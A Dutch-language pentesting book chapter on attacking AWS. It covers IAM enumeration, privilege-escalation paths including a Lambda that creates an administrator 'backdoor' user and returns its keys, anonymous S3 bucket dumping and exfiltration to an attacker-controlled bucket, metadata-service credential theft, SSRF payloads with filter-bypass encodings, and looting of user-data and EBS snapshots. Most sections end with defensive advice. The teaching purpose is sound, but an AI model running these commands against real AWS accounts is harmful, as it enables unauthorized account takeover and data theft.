AWS Aanvallen

“AWS is als een stad met tienduizend deuren. De meeste zitten op slot. Maar de paar die dat niet doen, leiden allemaal naar dezelfde kluis.”

Het Amazone-oerwoud

Er is een zekere ironie aan het feit dat de grootste cloudomgeving ter wereld is vernoemd naar een tropisch regenwoud. Net als het echte Amazonegebied is AWS een ecosysteem van onvoorstelbare complexiteit, waar alles met alles verbonden is op manieren die niemand volledig begrijpt. Er leven diensten in het AWS-ecosysteem die zo obscuur zijn dat zelfs AWS-medewerkers ze niet kennen. Er zijn permissiemodellen die zo verweven zijn dat het wijzigen van een enkele IAM-policy een keten van gevolgen kan hebben die zich door tien services verspreidt.

Maar in tegenstelling tot het echte Amazonegebied, waar elke millimeter is geoptimaliseerd door miljoenen jaren evolutie, is de AWS-omgeving van de gemiddelde organisatie een rommeltje. Permissions die te breed zijn omdat iemand haast had. Rollen die aan iedereen zijn gekoppeld omdat niemand begreep hoe het wel moest. Security groups die 0.0.0.0/0 toestaan op poort 22 “omdat het anders niet werkte.”

In dit hoofdstuk nemen we AWS systematisch onder de loep. We beginnen bij de fundamenten – IAM, het permissiemodel dat alles bij elkaar houdt – en werken ons op naar specifieke aanvalstechnieken op S3, EC2, Lambda, en STS. Bij elke stap laten we zien hoe organisaties het verkeerd doen, hoe je het uitbuit, en hoe het beter kan.

Want dat is uiteindelijk het punt. Niet het breken. Het begrijpen. En dan het fixen.

IB Tip: De Command Library bevat AWS-specifieke commands. Veel technieken in dit hoofdstuk zijn beschikbaar als command files die je kunt kopieren en aanpassen met je target-specifieke waarden. De [host] placeholder in IB wordt automatisch vervangen door het geconfigureerde IP-adres.


3.1 AWS fundamenten voor pentesters

3.1.1 IAM: het zenuwstelsel

Identity and Access Management (IAM) is het meest fundamentele en tegelijkertijd meest verkeerd begrepen onderdeel van AWS. Het bepaalt wie wat mag doen met welke resource. En als je het verkeerd configureert – wat bijna iedereen doet – dan bepaalt het dat iedereen alles mag doen met elke resource.

IAM kent vier kernbegrippen:

Users zijn identiteiten voor mensen of applicaties. Elke user heeft een unieke naam, optioneel een wachtwoord voor de console, en optioneel access keys voor API-toegang. Het probleem met users is dat ze permanent zijn. Een access key die wordt aangemaakt voor een deployment script, bestaat voor altijd – tenzij iemand hem actief verwijdert. En niemand verwijdert hem actief.

Groups zijn verzamelingen van users. Ze bestaan om het beheer te vereenvoudigen: in plaats van dezelfde rechten aan tien users te koppelen, maak je een groep aan en koppel je de rechten aan de groep. In theorie. In de praktijk worden rechten zowel aan groepen als aan individuele users gekoppeld, waardoor het overzicht verloren gaat als sneeuw voor de zon.

Roles zijn tijdelijke identiteiten die door services, users, of externe accounts kunnen worden aangenomen via AssumeRole. Een EC2-instantie draait onder een role. Een Lambda-functie draait onder een role. Een gebruiker in een andere AWS-account kan een role aannemen om cross-account toegang te krijgen. Roles zijn het primaire doelwit voor privilege escalation, want ze zijn ontworpen om overgedragen te worden.

Policies zijn JSON-documenten die permissies definiëren. Ze worden gekoppeld aan users, groups en roles. Er zijn twee soorten: AWS managed policies (door AWS beheerd, breed, vaak te breed) en customer managed policies (door de klant gemaakt, soms breder dan de AWS-versies).

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::my-bucket/*"
        }
    ]
}

Dit is een simpele policy. Het staat toe dat de entiteit waaraan het is gekoppeld, objecten mag lezen uit een specifieke S3 bucket. Klinkt onschuldig. Maar vervang s3:GetObject door * en arn:aws:s3:::my-bucket/* door *, en je hebt God Mode:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}

Dit is de AdministratorAccess policy. Het geeft volledige toegang tot alles in het AWS-account. En je zou niet geloven hoeveel organisaties deze policy aan development-users koppelen “omdat het anders niet werkt.” Het is het digitale equivalent van iedereen een loper geven voor het hele kantoor, inclusief de kluis, de serverruimte en het kantoor van de directeur. Omdat het handig is.

3.1.2 ARN-structuur

Amazon Resource Names (ARNs) zijn de unieke identifiers voor elke resource in AWS. Ze volgen een vast formaat:

arn:aws:SERVICE:REGION:ACCOUNT_ID:RESOURCE_TYPE/RESOURCE_NAME

Voorbeelden:

# IAM User
arn:aws:iam::123456789012:user/john

# IAM Role
arn:aws:iam::123456789012:role/EC2AdminRole

# S3 Bucket
arn:aws:s3:::my-bucket

# S3 Object
arn:aws:s3:::my-bucket/secret-file.txt

# EC2 Instance
arn:aws:ec2:eu-west-1:123456789012:instance/i-0abcdef1234567890

# Lambda Function
arn:aws:lambda:eu-west-1:123456789012:function:my-function

# Secrets Manager Secret
arn:aws:secretsmanager:eu-west-1:123456789012:secret:prod/db/password-AbCdEf

Let op: IAM en S3 ARNs bevatten geen regio. IAM is een globale service. S3-bucketnamen zijn ook globaal uniek – er kan maar een bucket bestaan met een bepaalde naam, ongeacht de regio.

Het begrijpen van ARN-structuur is essentieel voor het lezen van IAM-policies en het identificeren van misconfiguraties. Als een policy Resource: "arn:aws:s3:::*" bevat, geldt het voor alle S3 buckets. Als het Resource: "*" bevat, geldt het voor alle resources in alle services.

3.1.3 Regio’s en services

AWS opereert in meer dan dertig regio’s wereldwijd. Elke regio is een fysiek gescheiden cluster van datacenters. De meeste AWS-services zijn regio-specifiek: een EC2-instantie in eu-west-1 (Ierland) bestaat niet in us-east-1 (Virginia). Maar sommige services zijn globaal: IAM, Route 53, CloudFront, en S3 (hoewel S3-data fysiek in een regio staat).

Dit heeft implicaties voor pentesters: als je een AWS-omgeving enumereert, moet je elke regio checken. Een organisatie met haar productie in eu-west-1 kan een vergeten testomgeving hebben in ap-southeast-1. En die testomgeving heeft misschien diezelfde brede IAM-policies als de productieomgeving.

# Alle beschikbare regio's oplijsten
aws ec2 describe-regions --output table

# Veelgebruikte regio's
# eu-west-1     Ireland
# eu-central-1  Frankfurt
# us-east-1     N. Virginia (de default, en de oudste)
# us-west-2     Oregon
# ap-southeast-1 Singapore

3.2 IAM Enumeration

3.2.1 Wie ben ik?

De eerste vraag bij het verkennen van een AWS-omgeving is altijd: wie ben ik? Welke identiteit gebruik ik, en wat mag die identiteit?

# Wie ben ik?
aws sts get-caller-identity

Dit commando vertelt je drie dingen: - Account: het 12-cijferige AWS account ID - Arn: de volledige ARN van je identiteit (user, role, of assumed role) - UserId: een unieke identifier

{
    "UserId": "AIDAEXAMPLE123456789",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/pentester"
}

Dit is het vertrekpunt. Alles wat volgt, bouwt hierop voort.

3.2.2 enumerate-iam

enumerate-iam is een tool die systematisch probeert welke AWS API-calls je identiteit mag maken. Het stuurt duizenden verzoeken naar verschillende AWS-services en analyseert de responses – een 403 betekent “geen toegang”, een 200 of een andere succesvolle response betekent “je mag dit.”

# Installatie
git clone https://github.com/andresriancho/enumerate-iam.git
cd enumerate-iam
pip install -r requirements.txt

# Basisgebruik
python enumerate-iam.py \
    --access-key AKIAIOSFODNN7EXAMPLE \
    --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Met session token (voor tijdelijke credentials)
python enumerate-iam.py \
    --access-key ASIAEXAMPLE \
    --secret-key SECRET_KEY \
    --session-token SESSION_TOKEN

# Met specifieke regio
python enumerate-iam.py \
    --access-key AKIA... \
    --secret-key SECRET... \
    --region eu-west-1

De output is een lijst van API-calls die succesvol waren:

2026-03-02 10:15:23,456 - enumerate-iam - INFO - Starting permission enumeration
2026-03-02 10:15:24,789 - enumerate-iam - INFO - -- Account ARN: arn:aws:iam::123456789012:user/dev-user
2026-03-02 10:15:25,012 - enumerate-iam - INFO - -- Account Id: 123456789012
2026-03-02 10:15:26,345 - enumerate-iam - INFO - Checking iam permissions
2026-03-02 10:15:27,678 - enumerate-iam - INFO -   ALLOWED: iam.list_users
2026-03-02 10:15:28,901 - enumerate-iam - INFO -   ALLOWED: iam.list_roles
2026-03-02 10:15:30,234 - enumerate-iam - INFO -   ALLOWED: iam.list_policies
2026-03-02 10:15:31,567 - enumerate-iam - INFO - Checking s3 permissions
2026-03-02 10:15:32,890 - enumerate-iam - INFO -   ALLOWED: s3.list_buckets
2026-03-02 10:15:34,123 - enumerate-iam - INFO - Checking ec2 permissions
2026-03-02 10:15:35,456 - enumerate-iam - INFO -   ALLOWED: ec2.describe_instances
2026-03-02 10:15:36,789 - enumerate-iam - INFO -   ALLOWED: ec2.describe_security_groups
2026-03-02 10:15:38,012 - enumerate-iam - INFO - Checking lambda permissions
2026-03-02 10:15:39,345 - enumerate-iam - INFO -   ALLOWED: lambda.list_functions

Dit vertelt je onmiddellijk welke services je kunt benaderen. Van daaruit kun je gericht verder enumereren.

Let op: enumerate-iam maakt honderden tot duizenden API-calls. Dit genereert CloudTrail-logs. Het is niet stealthy. Gebruik het vroeg in je assessment, wanneer detectie nog acceptabel is.

3.2.3 AWS CLI enumeratie

Met de AWS CLI kun je gericht enumereren op basis van wat enumerate-iam heeft ontdekt:

# === IAM Enumeratie ===

# Alle IAM users
aws iam list-users --output table

# Details van een specifieke user
aws iam get-user --user-name TARGET_USER

# Access keys van een user
aws iam list-access-keys --user-name TARGET_USER

# Policies gekoppeld aan een user
aws iam list-attached-user-policies --user-name TARGET_USER
aws iam list-user-policies --user-name TARGET_USER  # inline policies

# Policy details ophalen (de daadwerkelijke permissies)
aws iam get-policy --policy-arn arn:aws:iam::123456789012:policy/POLICY_NAME
aws iam get-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/POLICY_NAME \
    --version-id v1

# Alle IAM groups
aws iam list-groups --output table

# Leden van een groep
aws iam get-group --group-name GROEP_NAAM

# Policies van een groep
aws iam list-attached-group-policies --group-name GROEP_NAAM

# === Roles ===

# Alle IAM roles
aws iam list-roles --output table

# Trust policy van een role (wie mag de role aannemen?)
aws iam get-role --role-name ROLE_NAME \
    | jq '.Role.AssumeRolePolicyDocument'

# Policies van een role
aws iam list-attached-role-policies --role-name ROLE_NAME
aws iam list-role-policies --role-name ROLE_NAME

# === Overig ===

# Account authorization details (als je genoeg rechten hebt)
# Dit is de heilige graal: alle users, groups, roles en hun policies in een keer
aws iam get-account-authorization-details > iam-dump.json

# Password policy
aws iam get-account-password-policy

# MFA status van alle users
aws iam generate-credential-report
aws iam get-credential-report --output text --query Content | base64 -d

Die get-account-authorization-details call is bijzonder waardevol. Als je die mag uitvoeren, heb je een complete dump van het IAM-model. Elk user, elke role, elke policy, elke trust relationship. Het is alsof je de blueprints van het gebouw hebt.

3.2.4 Access Advisor

AWS Access Advisor toont wanneer een service voor het laatst is gebruikt door een user of role. Dit is goud voor het identificeren van overmatige rechten:

# Genereer een access advisor rapport
job_id=$(aws iam generate-service-last-accessed-details \
    --arn arn:aws:iam::123456789012:user/TARGET_USER \
    --query 'JobId' --output text)

# Wacht even, haal dan het rapport op
sleep 5
aws iam get-service-last-accessed-details --job-id "$job_id" \
    | jq '.ServicesLastAccessed[] | select(.TotalAuthenticatedEntities > 0) |
      {ServiceName, LastAuthenticated}'

Als een user rechten heeft op S3, EC2, Lambda, DynamoDB, en RDS, maar de afgelopen zes maanden alleen S3 heeft gebruikt, dan zijn de andere rechten overbodig. En overbodige rechten zijn aanvalsoppervlak.

Verdedigingsmaatregel: Gebruik het principe van least privilege. Verwijder ongebruikte rechten op basis van Access Advisor-data. Gebruik IAM Access Analyzer om overly-permissive policies te detecteren. Genereer regelmatig credential reports om ongebruikte access keys en users zonder MFA te identificeren.


3.3 IAM Privilege Escalation

3.3.1 De kunst van het hoger klimmen

IAM privilege escalation is het proces waarbij je begint met beperkte rechten en eindigt met meer rechten dan bedoeld. In AWS is dit niet een enkel pad – het is een heel netwerk van paden. Rhino Security Labs heeft meer dan twintig verschillende privesc-methoden gedocumenteerd, en er worden regelmatig nieuwe ontdekt.

Het fundamentele probleem is dat AWS-permissies additief zijn. Een user erft rechten van zijn groepen, zijn direct gekoppelde policies, en zijn inline policies. Die rechten kunnen subtiele combinaties vormen die individueel onschuldig zijn, maar samen gevaarlijk worden.

Stel: een user mag IAM-policies aanmaken (iam:CreatePolicy) en policies aan zichzelf koppelen (iam:AttachUserPolicy). Elk recht afzonderlijk is relatief onschuldig – je maakt een policy aan, je koppelt een policy. Maar samen vormen ze de sleutel tot alles: je maakt een policy aan met "Action": "*", "Resource": "*", koppelt die aan jezelf, en je bent God.

3.3.2 De belangrijkste privesc-paden

1. CreatePolicyVersion

Als je iam:CreatePolicyVersion hebt op een policy die aan je user is gekoppeld, kun je een nieuwe versie van die policy aanmaken met bredere rechten:

# Stap 1: Check of je CreatePolicyVersion hebt
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query 'Arn' --output text | cut -d/ -f2)

# Stap 2: Maak een nieuwe policy version aan met admin rechten
aws iam create-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/MY_POLICY \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [{
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }]
    }' \
    --set-as-default

# Je bent nu admin.

Dit werkt omdat CreatePolicyVersion je toestaat om de inhoud van een policy te wijzigen. De policy is al aan je user gekoppeld, dus de nieuwe inhoud geldt onmiddellijk. Het is alsof je de tekst van een wet mag herschrijven die op jou van toepassing is.

2. AttachUserPolicy / AttachGroupPolicy / AttachRolePolicy

Als je policies mag koppelen aan users, groups of roles:

# Koppel de AdministratorAccess managed policy aan je eigen user
aws iam attach-user-policy \
    --user-name pentester \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Of aan een groep waar je lid van bent
aws iam attach-group-policy \
    --group-name developers \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

3. PutUserPolicy / PutGroupPolicy / PutRolePolicy

In plaats van een bestaande managed policy te koppelen, maak je een inline policy aan:

# Maak een inline policy aan met admin rechten
aws iam put-user-policy \
    --user-name pentester \
    --policy-name escalation \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [{
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }]
    }'

4. PassRole + Lambda (of EC2, of andere services)

Dit is de meest elegante en meest voorkomende privesc. De logica: 1. Je hebt iam:PassRole (om een role aan een service te geven) 2. Je hebt lambda:CreateFunction en lambda:InvokeFunction 3. Er bestaat een role met meer rechten dan jij hebt 4. Je maakt een Lambda-functie aan die onder die role draait 5. De Lambda-functie voert AWS API-calls uit met de rechten van die role

# Stap 1: Vind een role met meer rechten
aws iam list-roles | jq '.Roles[] | {RoleName, Arn}'

# Stap 2: Check de trust policy -- kan Lambda de role aannemen?
aws iam get-role --role-name AdminRole \
    | jq '.Role.AssumeRolePolicyDocument'
# Moet bevatten: "Service": "lambda.amazonaws.com"

# Stap 3: Maak de privilege escalation Lambda-functie
cat > /tmp/lambda_privesc.py << 'PYEOF'
import boto3
import json

def handler(event, context):
    # Deze code draait met de rechten van AdminRole
    client = boto3.client('iam')

    # Optie A: Maak een nieuwe admin user aan
    client.create_user(UserName='backdoor')
    client.attach_user_policy(
        UserName='backdoor',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    keys = client.create_access_key(UserName='backdoor')

    return {
        'AccessKeyId': keys['AccessKey']['AccessKeyId'],
        'SecretAccessKey': keys['AccessKey']['SecretAccessKey']
    }
PYEOF

# Stap 4: Zip en upload
cd /tmp && zip lambda_privesc.zip lambda_privesc.py

# Stap 5: Maak de Lambda-functie aan met de hoge-privilege role
aws lambda create-function \
    --function-name privesc \
    --runtime python3.12 \
    --handler lambda_privesc.handler \
    --role arn:aws:iam::123456789012:role/AdminRole \
    --zip-file fileb:///tmp/lambda_privesc.zip

# Stap 6: Invoke
aws lambda invoke \
    --function-name privesc \
    /tmp/output.json && cat /tmp/output.json

Dit is waarom iam:PassRole zo gevaarlijk is. Het lijkt onschuldig – je “geeft” een role aan een service. Maar in werkelijkheid escaleer je je eigen rechten via die service. Het is alsof je de sleutel van de kluis niet zelf pakt, maar hem aan een robot geeft en de robot instrueert om de kluis te openen.

5. AssumeRole

Als je een role mag aannemen die meer rechten heeft:

# Check welke roles je mag aannemen
# (dit staat in de trust policy van de role)
aws iam list-roles \
    | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS
      | strings | contains("pentester") or contains("123456789012"))'

# Neem de role aan
aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/AdminRole \
    --role-session-name escalation

# Gebruik de tijdelijke credentials
export AWS_ACCESS_KEY_ID="ASIAEXAMPLE..."
export AWS_SECRET_ACCESS_KEY="SECRET..."
export AWS_SESSION_TOKEN="TOKEN..."

# Verifieer
aws sts get-caller-identity

6. AddUserToGroup

Simpel maar effectief: als je users aan groepen mag toevoegen, voeg je jezelf toe aan de Admins-groep:

# Zoek de groep met de meeste rechten
aws iam list-groups
aws iam list-attached-group-policies --group-name Admins

# Voeg jezelf toe
aws iam add-user-to-group \
    --user-name pentester \
    --group-name Admins

3.3.3 Overzicht van alle privesc-paden

# Methode Vereiste Permissie(s) Complexiteit
1 CreatePolicyVersion iam:CreatePolicyVersion Laag
2 SetDefaultPolicyVersion iam:SetDefaultPolicyVersion Laag
3 AttachUserPolicy iam:AttachUserPolicy Laag
4 AttachGroupPolicy iam:AttachGroupPolicy Laag
5 AttachRolePolicy iam:AttachRolePolicy Laag
6 PutUserPolicy iam:PutUserPolicy Laag
7 PutGroupPolicy iam:PutGroupPolicy Laag
8 PutRolePolicy iam:PutRolePolicy Laag
9 AddUserToGroup iam:AddUserToGroup Laag
10 UpdateAssumeRolePolicy iam:UpdateAssumeRolePolicy Medium
11 PassRole + Lambda iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction Medium
12 PassRole + EC2 iam:PassRole, ec2:RunInstances Medium
13 PassRole + CloudFormation iam:PassRole, cloudformation:CreateStack Medium
14 PassRole + DataPipeline iam:PassRole, datapipeline:CreatePipeline Hoog
15 PassRole + Glue iam:PassRole, glue:CreateDevEndpoint Medium
16 PassRole + SageMaker iam:PassRole, sagemaker:CreateNotebookInstance Hoog
17 UpdateFunctionCode lambda:UpdateFunctionCode Laag
18 CreateEC2WithExistingIP ec2:RunInstances, iam:PassRole Medium
19 CreateLoginProfile iam:CreateLoginProfile Laag
20 UpdateLoginProfile iam:UpdateLoginProfile Laag
21 CreateAccessKey iam:CreateAccessKey Laag

Elk van deze paden is een ketting: het begint met een ogenschijnlijk beperkt recht en eindigt met volledige controle. Het probleem is dat AWS-beheerders deze ketens niet zien wanneer ze rechten toekennen. Ze geven een ontwikkelaar iam:PassRole en lambda:CreateFunction omdat die rechten nodig zijn voor het deployen van Lambda-functies. Wat ze niet beseffen, is dat diezelfde rechten privilege escalation mogelijk maken.

Verdedigingsmaatregel: Beperk iam:PassRole met een Resource-restrictie tot specifieke roles. Gebruik Permission Boundaries om te voorkomen dat users rechten kunnen escaleren voorbij een bepaald plafond. Monitor met CloudTrail en AWS Config op policy-wijzigingen en role-aannames. Implementeer Service Control Policies (SCPs) in AWS Organizations om harde grenzen te stellen.


3.4 S3 Exploitatie

3.4.1 De digitale opslagloods

Amazon S3 is de opslagdienst van AWS. Organisaties gebruiken het voor alles: website-assets, applicatiedata, backups, logbestanden, database dumps. Het is goedkoop, schaalbaar en betrouwbaar. Het is ook de bron van meer datalekken dan welke andere cloud-service ook.

Het permissiemodel van S3 is een meesterwerk van verwarring. Er zijn vier verschillende manieren om toegang te verlenen tot een S3 bucket:

  1. Bucket policies: JSON-documenten die op de bucket zelf staan
  2. Object ACLs: per-object access control lists (legacy, maar nog steeds in gebruik)
  3. IAM policies: permissies op de user/role die de request maakt
  4. Block Public Access: een accountniveau-instelling die alles overschrijft

En deze vier systemen interageren met elkaar. Een bucket kan een policy hebben die publieke toegang toestaat, maar Block Public Access kan dat overschrijven. Of een object kan een ACL hebben die publieke leestoegang geeft, zelfs als de bucket policy dat niet doet. Het is een vierlagen-beveiligingsmodel waarvan de lagen elkaar tegenspreken.

3.4.2 Misconfigured buckets

# Check of een bucket publiekelijk listbaar is
aws s3 ls s3://target-bucket --no-sign-request

# Download alle publiekelijk toegankelijke objecten
aws s3 sync s3://target-bucket /tmp/bucket-dump --no-sign-request

# Check of je kunt schrijven naar een bucket
echo "test" > /tmp/test.txt
aws s3 cp /tmp/test.txt s3://target-bucket/test.txt --no-sign-request

# Check bucket ACL
aws s3api get-bucket-acl --bucket target-bucket --no-sign-request

# Check bucket policy
aws s3api get-bucket-policy --bucket target-bucket --no-sign-request

De --no-sign-request flag is cruciaal. Het vertelt de AWS CLI om geen authentication headers mee te sturen – je doet het verzoek als een anonieme gebruiker. Als het werkt, is de bucket publiekelijk toegankelijk.

Veelvoorkomende misconfiguraties:

Misconfiguratie Risico Hoe te testen
Publiekelijk listbaar Iedereen kan alle objectnamen zien aws s3 ls --no-sign-request
Publiekelijk leesbaar Iedereen kan alle objecten downloaden aws s3 cp --no-sign-request
Publiekelijk schrijfbaar Iedereen kan objecten uploaden/overschrijven aws s3 cp test.txt --no-sign-request
Authenticated users readable Elke AWS-account kan lezen aws s3 ls (met willekeurige credentials)
ACL: AllUsers READ Legacy ACL met publieke leestoegang aws s3api get-bucket-acl
ACL: AllUsers WRITE Legacy ACL met publieke schrijftoegang aws s3api get-bucket-acl

3.4.3 Object-level vs bucket-level permissies

Een subtiel maar kritiek onderscheid: een bucket kan niet-listbaar zijn, maar individuele objecten kunnen wel publiekelijk leesbaar zijn. Dit betekent dat je de bestandsnamen niet kunt zien, maar als je de naam raadt, kun je het bestand downloaden.

# Bucket is niet listbaar
aws s3 ls s3://target-bucket --no-sign-request
# Access Denied

# Maar specifieke objecten kunnen wel toegankelijk zijn
aws s3 cp s3://target-bucket/backup.sql /tmp/backup.sql --no-sign-request
# download: s3://target-bucket/backup.sql -> /tmp/backup.sql

# Veelvoorkomende bestandsnamen om te proberen
for file in backup.sql database.sql dump.sql config.json .env \
            credentials.json secrets.json terraform.tfstate \
            id_rsa private.key backup.tar.gz data.csv; do
    aws s3 cp "s3://target-bucket/$file" /dev/null --no-sign-request 2>/dev/null \
        && echo "FOUND: $file"
done

3.4.4 Pre-signed URL abuse

Pre-signed URLs zijn tijdelijke links die toegang geven tot een S3 object zonder AWS-credentials. Ze worden vaak gebruikt om gebruikers bestanden te laten downloaden uit private buckets. Het probleem: als een pre-signed URL lekt, kan iedereen met die URL het object downloaden tot de URL verloopt.

# Genereer een pre-signed URL (als je de juiste rechten hebt)
aws s3 presign s3://target-bucket/secret-file.pdf --expires-in 3600

# Het resultaat is een lange URL met een signature:
# https://target-bucket.s3.amazonaws.com/secret-file.pdf?
#   X-Amz-Algorithm=AWS4-HMAC-SHA256&
#   X-Amz-Credential=AKIAEXAMPLE/20260302/eu-west-1/s3/aws4_request&
#   X-Amz-Date=20260302T120000Z&
#   X-Amz-Expires=3600&
#   X-Amz-Signature=abcdef...

# Pre-signed URLs lekken via:
# - Browser history
# - Referrer headers
# - Server logs
# - Slack/Teams berichten
# - E-mails

Pre-signed URLs zijn ook bruikbaar als data exfiltratie-kanaal. Met PutObject rechten kun je een pre-signed URL genereren waarmee data naar een bucket kan worden geupload – zonder dat de uploader AWS-credentials nodig heeft.

3.4.5 S3 als data exfiltratie

Als je schrijfrechten hebt naar een S3 bucket die je zelf beheert, kun je S3 gebruiken om data te exfiltreren uit een gecompromitteerde omgeving:

# Configureer je eigen AWS-profiel
aws configure --profile exfil
# Vul je eigen access key en secret key in

# Kopieer data naar je eigen bucket
aws s3 cp /tmp/gevoelige-data.tar.gz s3://mijn-exfil-bucket/ --profile exfil

# Of gebruik de AWS CLI met environment variables
export AWS_ACCESS_KEY_ID="MIJN_KEY"
export AWS_SECRET_ACCESS_KEY="MIJN_SECRET"
aws s3 cp /tmp/data.tar.gz s3://mijn-bucket/

Dit verkeer gaat over HTTPS naar AWS-endpoints. Het ziet eruit als normaal S3-verkeer. Veel organisaties monitoren uitgaand verkeer naar AWS niet specifiek, waardoor S3 een effectief exfiltratiekanaal is.

Verdedigingsmaatregel: Activeer S3 Block Public Access op accountniveau. Gebruik bucket policies met expliciete Deny voor ongewenste acties. Monitor S3 access logs en CloudTrail data events. Gebruik S3 Object Lock voor kritieke data. Implementeer VPC endpoints voor S3 en blokkeer S3-verkeer dat niet via de VPC endpoint gaat.


3.5 EC2 Aanvallen

3.5.1 De virtuele machine en haar geheimen

Amazon EC2 (Elastic Compute Cloud) is de virtuele-machine-service van AWS. Het is waar de applicaties draaien, de databases staan, en de workloads worden verwerkt. En het is waar de Instance Metadata Service (IMDS) een schat aan informatie biedt aan iedereen die erom vraagt.

3.5.2 Instance Metadata Service (IMDS)

Elke EC2-instantie heeft toegang tot een metadata-service op 169.254.169.254. Dit is een link-local adres dat alleen bereikbaar is vanaf de instantie zelf. Het biedt informatie over de instantie: hostname, instance ID, security groups, en – het belangrijkste – tijdelijke IAM-credentials.

Er zijn twee versies:

IMDSv1 is het oorspronkelijke protocol. Het is simpel: stuur een HTTP GET-request, krijg de data terug. Geen authenticatie, geen tokens, geen bescherming.

# IMDSv1 -- simpele GET requests
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/hostname
curl http://169.254.169.254/latest/meta-data/local-ipv4
curl http://169.254.169.254/latest/meta-data/public-ipv4
curl http://169.254.169.254/latest/meta-data/instance-id
curl http://169.254.169.254/latest/meta-data/security-groups
curl http://169.254.169.254/latest/meta-data/iam/info

# De gouden prijs: IAM credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Dit geeft de naam van de IAM role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Dit geeft: AccessKeyId, SecretAccessKey, Token (tijdelijk)

# User-data: het startup script van de instantie
# Bevat vaak wachtwoorden, API keys, en configuratie
curl http://169.254.169.254/latest/user-data/

IMDSv2 vereist een session token:

# IMDSv2 -- eerst een token ophalen
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Dan het token meesturen bij elk verzoek
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/iam/security-credentials/

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/user-data/

IMDSv2 beschermt tegen SSRF-aanvallen, omdat het PUT-verzoek voor het token een custom header vereist die de meeste SSRF-kwetsbaarheden niet kunnen meesturen. Maar het beschermt niet tegen een aanvaller die al code kan uitvoeren op de instantie.

Het verschil tussen v1 en v2? IMDSv1 is een deur zonder slot. IMDSv2 is een deur met een slot dat je moet omdraaien voordat je binnenkomt. Geen van beide stopt iemand die al binnen is.

3.5.3 SSRF naar metadata

De meest voorkomende aanval op EC2-metadata is via Server-Side Request Forgery. Als een webapplicatie op een EC2-instantie een SSRF-kwetsbaarheid heeft, kan een aanvaller de applicatie laten praten met de metadata-service:

# SSRF naar IMDSv1 (als de applicatie URL's accepteert)
# Payload: http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Alternatieve notaties om filters te omzeilen
# Decimaal: http://2852039166/latest/meta-data/
# Hex: http://0xa9fea9fe/latest/meta-data/
# IPv6 mapped: http://[::ffff:169.254.169.254]/latest/meta-data/
# DNS rebinding: configureer een domein dat resolvet naar 169.254.169.254

# Voorbeeld van een SSRF-aanval via een url-preview functie:
curl "https://target.com/api/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

De Capital One-breach van 2019 was precies dit patroon: een SSRF-kwetsbaarheid in een webapplicatie leidde tot het uitlezen van IAM-credentials via de metadata-service, die vervolgens werden gebruikt om S3 buckets te lezen met 100 miljoen klantrecords.

3.5.4 User-data scripts

EC2 user-data is een startup script dat bij het starten van een instantie wordt uitgevoerd. Het wordt vaak gebruikt om software te installeren, configuratie toe te passen, en – hier gaat het mis – credentials in te stellen.

# User-data ophalen (vanaf de instantie zelf)
curl http://169.254.169.254/latest/user-data/

# Typische inhoud die je vindt:
#!/bin/bash
# DOE DIT NIET -- maar het gebeurt dagelijks
export DB_PASSWORD="SuperGeheimWachtwoord123!"
export AWS_ACCESS_KEY_ID="AKIAEXAMPLE..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG..."
apt-get install -y docker
docker pull company/app:latest
docker run -e DB_PASSWORD=$DB_PASSWORD company/app:latest

User-data is ook zichtbaar via de EC2 API met ec2:DescribeInstanceAttribute:

# User-data ophalen van een andere instantie (API)
aws ec2 describe-instance-attribute \
    --instance-id i-0abcdef1234567890 \
    --attribute userData \
    --query 'UserData.Value' --output text | base64 -d

3.5.5 EBS Snapshot access

EBS (Elastic Block Store) snapshots zijn backups van EC2-schijven. Als een snapshot publiekelijk is gedeeld – of gedeeld met een account dat je beheert – kun je de volledige schijfinhoud lezen.

# Zoek publieke snapshots van het target account
aws ec2 describe-snapshots \
    --owner-ids 123456789012 \
    --query 'Snapshots[*].{Id:SnapshotId,Description:Description,Size:VolumeSize}' \
    --output table

# Maak een volume van een snapshot (in je eigen account)
aws ec2 create-volume \
    --snapshot-id snap-0abcdef1234567890 \
    --availability-zone eu-west-1a

# Mount het volume op je eigen EC2-instantie
aws ec2 attach-volume \
    --volume-id vol-0abcdef1234567890 \
    --instance-id i-YOUR_INSTANCE \
    --device /dev/sdf

# Op je instantie: mount en doorzoek
sudo mount /dev/xvdf1 /mnt
find /mnt -name "*.conf" -o -name "*.env" -o -name "*.key" -o -name "*.pem"
